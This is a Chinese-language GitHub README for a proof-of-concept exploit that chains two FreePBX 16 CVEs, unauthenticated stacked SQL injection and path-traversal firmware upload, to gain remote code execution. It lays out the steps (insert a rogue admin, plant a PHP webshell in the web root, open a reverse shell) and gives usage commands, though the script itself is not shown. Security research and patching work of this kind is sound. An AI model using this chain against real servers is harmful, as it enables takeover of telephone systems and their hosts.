0xEhab/FreePBX-CVE-2025-57819-RCE
GitHub: 0xEhab/FreePBX-CVE-2025-57819-RCE
结合 FreePBX 16 的 SQL 注入与文件上传漏洞实现从零权限到远程代码执行的 PoC exploit 工具。
Stars: 6 | Forks: 0
# FreePBX 16 — 未授权 SQLi 到 RCE
结合两个 FreePBX 漏洞的概念验证 exploit,实现从 **零权限** 到
在 FreePBX 16 上的 **远程代码执行**。
| CVE | 组件 | 影响 |
|-----|-----------|--------|
| **CVE-2025-57819** | Endpoint module loader (`brand` 参数) | 未授权堆叠 SQL injection |
| **CVE-2025-61678** | Endpoint Manager 固件上传器 (`fwbrand` 参数) | 认证后任意文件上传(路径穿越) |
## 工作原理
1. **创建管理员 (CVE-2025-57819)** — 通过无需身份验证即可访问的 namespaced endpoint loader,利用堆叠 SQL injection 将一个全新的完整权限管理员直接 `INSERT`(插入)到 `ampusers` 表中。
2. **身份验证** — PoC 以新创建的用户身份登录到 admin panel。
3. **植入 webshell (CVE-2025-61678)** — 滥用 Endpoint Manager 固件上传处理程序,在 `fwbrand` 中使用 `../../../var/www/html/` 路径穿越,将 PHP webshell 写入 web 根目录。
4. **执行** — 运行单条命令或接收交互式 reverse shell。
## 受影响版本
FreePBX 16(Endpoint 模块版本低于 `16.0.92`)。同时已在 `17.0.6` 中修复。
请更新至已修复版本。
## 用法
```
# 单条命令
python3 exploit.py --rhost pbx.example.com --command "id"
# 交互式 reverse shell(通过 pwntools 自动监听)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444
# 纯 HTTP / 自定义端口
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"
```
### 选项
| Flag | 描述 |
|------|-------------|
| `--rhost` | 目标主机(必填) |
| `--rport` | 目标端口(默认 `443`) |
| `--http` | 使用 HTTP 而不是 HTTPS |
| `--lhost` / `--lport` | Reverse shell 回调地址 |
| `--command` | 运行单条命令而不是启动 shell |
## 环境要求
```
pip install requests pwntools
```
## 免责声明
仅供授权的安全测试和教育目的使用。仅在你拥有或获得明确书面许可的系统上使用。作者不对滥用行为承担任何责任。
## 关键词
FreePBX · FreePBX 16 · FreePBX 16.0.40.7 · Sangoma PBX · Asterisk ·
CVE-2025-57819 · CVE-2025-61678 · 未授权 SQL injection · 堆叠查询注入 ·
endpoint module · Endpoint Manager · 认证后文件上传 · 路径穿越 ·
远程代码执行 · RCE · PoC · exploit · VoIP 安全
linkedin: ehxb · medium.com/@Ehxb · github 0xEhxb
标签:CISA项目, PoC, Web安全, 安全, 暴力破解, 蓝队分析, 超时处理, 逆向工具